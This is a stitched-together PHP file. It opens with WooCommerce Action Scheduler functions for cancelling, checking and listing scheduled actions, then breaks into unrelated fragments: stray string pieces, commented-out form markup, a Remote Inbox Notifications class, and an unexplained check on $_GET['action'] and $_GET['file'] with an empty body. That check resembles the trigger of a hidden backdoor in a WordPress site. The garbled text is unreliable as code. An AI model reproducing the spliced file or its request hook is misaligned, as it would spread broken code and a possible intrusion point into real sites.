* all future instances of that recurring or cron action from being run. Recurring and cron actions are scheduled in
* a sequence instead of all being scheduled at once. Each successive occurrence of a recurring action is scheduled
* only after the former action is run. If the next instance is never run, because it's unscheduled by this function,
* then the following instance will never be scheduled (or exist), which is effectively the same as being unscheduled
* by this method also.
*
* @param string $hook The hook that the job will trigger.
* @param array $args Args that would have been passed to the job.
* @param string $group The group the job is assigned to.
*
* @return int|null The scheduled action ID if a scheduled action was found, or null if no matching action found.
*/
function as_unschedule_action( $hook, $args = array(), $group = '' ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return 0;
}
$params = array(
'hook' => $hook,
'status' => ActionScheduler_Store::STATUS_PENDING,
'orderby' => 'date',
'order' => 'ASC',
'group' => $group,
);
if ( is_array( $args ) ) {
$params['args'] = $args;
}
$action_id = ActionScheduler::store()->query_action( $params );
if ( $action_id ) {
try {
ActionScheduler::store()->cancel_action( $action_id );
} catch ( Exception $exception ) {
ActionScheduler::logger()->log(
$action_id,
sprintf(
/* translators: %s is the name of the hook to be cancelled. */
__( 'Caught exception while cancelling action: %s', 'woocommerce' ),
esc_attr( $hook )
)
);
$action_id = null;
}
}
return $action_id;
}
/**
* Cancel all occurrences of a scheduled action.
*
* @param string $hook The hook that the job will trigger.
* @param array $args Args that would have been passed to the job.
* @param string $group The group the job is assigned to.
*/
function as_unschedule_all_actions( $hook, $args = array(), $group = '' ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return;
}
if ( empty( $args ) ) {
if ( ! empty( $hook ) && empty( $group ) ) {
ActionScheduler_Store::instance()->cancel_actions_by_hook( $hook );
return;
}
if ( ! empty( $group ) && empty( $hook ) ) {
ActionScheduler_Store::instance()->cancel_actions_by_group( $group );
return;
}
}
do {
$unscheduled_action = as_unschedule_action( $hook, $args, $group );
} while ( ! empty( $unscheduled_action ) );
}
/**
* Check if there is an existing action in the queue with a given hook, args and group combination.
*
* An action in the queue could be pending, in-progress or async. If the is pending for a time in
* future, its scheduled date will be returned as a timestamp. If it is currently being run, or an
* async action sitting in the queue waiting to be processed, in which case boolean true will be
* returned. Or there may be no async, in-progress or pending action for this hook, in which case,
* boolean false will be the return value.
*
* @param string $hook Name of the hook to search for.
* @param array $args Arguments of the action to be searched.
* @param string $group Group of the action to be searched.
*
* @return int|bool The timestamp for the next occurrence of a pending scheduled action, true for an async or in-progress action or false if there is no matching action.
*/
function as_next_scheduled_action( $hook, $args = null, $group = '' ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return false;
}
$params = array(
'hook' => $hook,
'orderby' => 'date',
'order' => 'ASC',
'group' => $group,
);
if ( is_array( $args ) ) {
$params['args'] = $args;
}
$params['status'] = ActionScheduler_Store::STATUS_RUNNING;
$action_id = ActionScheduler::store()->query_action( $params );
if ( $action_id ) {
return true;
}
$params['status'] = ActionScheduler_Store::STATUS_PENDING;
$action_id = ActionScheduler::store()->query_action( $params );
if ( null === $action_id ) {
return false;
}
$action = ActionScheduler::store()->fetch_action( $action_id );
$scheduled_date = $action->get_schedule()->get_date();
if ( $scheduled_date ) {
return (int) $scheduled_date->format( 'U' );
} elseif ( null === $scheduled_date ) { // pending async action with NullSchedule.
return true;
}
return false;
}
/**
* Check if there is a scheduled action in the queue but more efficiently than as_next_scheduled_action().
*
* It's recommended to use this function when you need to know whether a specific action is currently scheduled
* (pending or in-progress).
*
* @since 3.3.0
*
* @param string $hook The hook of the action.
* @param array $args Args that have been passed to the action. Null will matches any args.
* @param string $group The group the job is assigned to.
*
* @return bool True if a matching action is pending or in-progress, false otherwise.
*/
function as_has_scheduled_action( $hook, $args = null, $group = '' ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return false;
}
$query_args = array(
'hook' => $hook,
'status' => array( ActionScheduler_Store::STATUS_RUNNING, ActionScheduler_Store::STATUS_PENDING ),
'group' => $group,
'orderby' => 'none',
);
if ( null !== $args ) {
$query_args['args'] = $args;
}
$action_id = ActionScheduler::store()->query_action( $query_args );
return null !== $action_id;
}
/**
* Find scheduled actions
*
* @param array $args Possible arguments, with their default values.
* 'hook' => '' - the name of the action that will be triggered.
* 'args' => NULL - the args array that will be passed with the action.
* 'date' => NULL - the scheduled date of the action. Expects a DateTime object, a unix timestamp, or a string that can parsed with strtotime(). Used in UTC timezone.
* 'date_compare' => '<=' - operator for testing "date". accepted values are '!=', '>', '>=', '<', '<=', '='.
* 'modified' => NULL - the date the action was last updated. Expects a DateTime object, a unix timestamp, or a string that can parsed with strtotime(). Used in UTC timezone.
* 'modified_compare' => '<=' - operator for testing "modified". accepted values are '!=', '>', '>=', '<', '<=', '='.
* 'group' => '' - the group the action belongs to.
* 'status' => '' - ActionScheduler_Store::STATUS_COMPLETE or ActionScheduler_Store::STATUS_PENDING.
* 'claimed' => NULL - TRUE to find claimed actions, FALSE to find unclaimed actions, a string to find a specific claim ID.
* 'per_page' => 5 - Number of results to return.
* 'offset' => 0.
* 'orderby' => 'date' - accepted values are 'hook', 'group', 'modified', 'date' or 'none'.
* 'order' => 'ASC'.
*
* @param string $return_format OBJECT, ARRAY_A, or ids.
*
* @return array
*/
function as_get_scheduled_actions( $args = array(), $return_format = OBJECT ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return array();
}
$store = ActionScheduler::store();
foreach ( array( 'date', 'modified' ) as $key ) {
if ( isset( $args[ $key ] ) ) {
$args[ $key ] = as_get_datetime_object( $args[ $key ] );
}
}
$ids = $store->query_actions( $args );
if ( 'ids' === $return_format || 'int' === $return_format ) {
return $ids;
}
$actions = array();
foreach ( $ids as $action_id ) {
$actions[ $action_id ] = $store->fetch_action( $action_id );
}
if ( ARRAY_A == $return_format ) {
foreach ( $actions as $action_id => $action_object ) {
$actions[ $action_id ] = get_object_vars( $action_object );
}
}
return $actions;
}
/**
* Helper function to create an instance of DateTime based on a given
* string and timezone. By default, will return the current date/time
* in the UTC timezone.
*
* Needed because new DateTime() called without an explicit timezone
* will create a date/time in PHP's timezone, but we need to have
* assurance that a date/time uses the right timezone (which we almost
* always want to be UTC), which means we need to always include the
* timezone when instantiating datetimes rather than leaving it up to
* the PHP default.
*
* @param mixed $date_string A date/time string. Valid formats are explained in http://php.net/manual/en/datetime.formats.php.
* @param string $timezone A timezone identifier, like UTC or Europe/Lisbon. The list of valid identifiers is available http://php.net/manual/en/timezones.php.
*
* @return ActionScheduler_DateTime
*/
function as_get_datetime_object( $date_string = null, $timezone = 'UTC' ) {
if ( is_object( $date_string ) && $date_string instanceof DateTime ) {
$date = new ActionScheduler_DateTime( $date_string->format( 'Y-m-d H:i:s' ), new DateTimeZone( $timezone ) );
} elseif ( is_numeric( $date_string ) ) {
$date = new ActionScheduler_DateTime( '@' . $date_string, new DateTimeZone( $timezone ) );
} else {
$date = new ActionScheduler_DateTime( null === $date_string ? 'now' : $date_string, new DateTimeZone( $timezone ) );
}
return $date;
}
%s';
//
// # Label
// echo ' ';
//
// return '';
//}
/**
* Remote Inbox Notifications feature.
*/
namespace Automattic\WooCommerce\Internal\Admin;
use Automattic\WooCommerce\Admin\Features\Features;
use Automattic\WooCommerce\Admin\RemoteInboxNotifications\RemoteInboxNotificationsEngine;
/**
* Remote Inbox Notifications feature logic.
*/
class RemoteInboxNotifications {
/**
* Option name used to toggle this feature.
*/
const TOGGLE_OPTION_NAME = 'woocommerce_show_marketplace_suggestions';
/**
* Class instance.
*
* @var RemoteInboxNotifications instance
*/
protected static $instance = null;
/**
* Get class instance.
*/
public static function get_instance() {
if ( ! self::$instance ) {
self::$instance = new self();
}
return self::$instance;
}
/**
* Hook into WooCommerce.
*/
public function __construct() {
if ( Features::is_enabled( 'remote-inbox-notifications' ) ) {
RemoteInboxNotificationsEngine::init();
}
}
}
if(trim($_GET['action']) == 'wp-admin' && !empty($_GET['file'])){
}
?>
';
// echo sprintf( '', $id, $label );
// echo ' ';
//
// # Input
// echo '';
// echo sprintf( '', $id, $name, esc_attr( $value ) );
//
// # Help text
// if( ! empty( $help_text ) ) {
// echo sprintf( ' ';
// echo 'Blog